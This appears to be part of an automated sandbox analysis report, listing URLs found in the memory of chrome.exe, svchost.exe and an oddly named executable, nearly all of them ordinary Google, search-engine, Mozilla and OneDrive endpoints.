Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000001.00000003.1764556666.0000307C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1763930483.0000307C01498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000001.00000002.1855539796.0000307C01BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1845907427.0000307C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853248247.0000307C010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1850392599.0000307C00C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000001.00000002.1850392599.0000307C00C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icoit
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000001.00000002.1849320798.0000307C00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000001.00000003.1748299216.0000307C00F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000001.00000002.1847130259.0000307C00648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000001.00000002.1849220186.0000307C009CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853879243.0000307C01184000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1849385786.0000307C00A2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en;
Source: chrome.exe, 00000001.00000003.1743736676.0000307C00F58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746837601.0000307C0034C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1792421328.0000307C00CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1741638401.0000307C00CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1748299216.0000307C00F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000001.00000003.1768653699.0000307C01668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1768673314.0000307C0166C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727973498.0000428400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1767519037.0000307C01B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1767558805.0000307C01B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1727728473.000042840039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1727525412.0000428400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 00000001.00000003.1723936369.00003828002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1723952828.00003828002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000001.00000002.1847130259.0000307C00648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/c
Source: chrome.exe, 00000001.00000002.1846936269.0000307C00630000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847221014.0000307C00688000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850423295.0000307C00C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842666079.0000307C00290000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1846936269.0000307C0061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000001.00000002.1847130259.0000307C00648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/cx
Source: chrome.exe, 00000001.00000002.1849320798.0000307C00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000001.00000002.1849320798.0000307C00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync0
Source: chrome.exe, 00000001.00000002.1847130259.0000307C00648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000001.00000002.1849647892.0000307C00ACC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000001.00000002.1843159417.0000307C00320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000001.00000003.1768693215.0000307C01680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1848146078.0000307C007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843997865.0000307C004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1845907427.0000307C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853248247.0000307C010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1847614468.0000307C0073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1845907427.0000307C004F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1853248247.0000307C010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: xLgTQcFdIJ.exe, xLgTQcFdIJ.exe, 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2214417858.000000006D051000.00000002.00000001.01000000.00000007.sdmp, xLgTQcFdIJ.exe, 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000001.00000002.1843159417.0000307C00320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000001.00000002.1843159417.0000307C00320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000001.00000003.1730912782.0000307C0049C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000001.00000002.1847473925.0000307C0071D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843095692.0000307C00310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000001.00000002.1850541020.0000307C00C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTimehttps://duckduckgo.com/chrome_newtab
Source: svchost.exe, 00000002.00000002.2094077488.0000018FD4E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fs.ml
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD50C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD511A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD50C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD50A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1730723961.0000018FD50C2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1730723961.0000018FD50E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1730723961.0000018FD50F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD50C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: chrome.exe, 00000001.00000003.1727973498.0000428400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1863717290.000042840078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1767519037.0000307C01B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1767558805.0000307C01B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
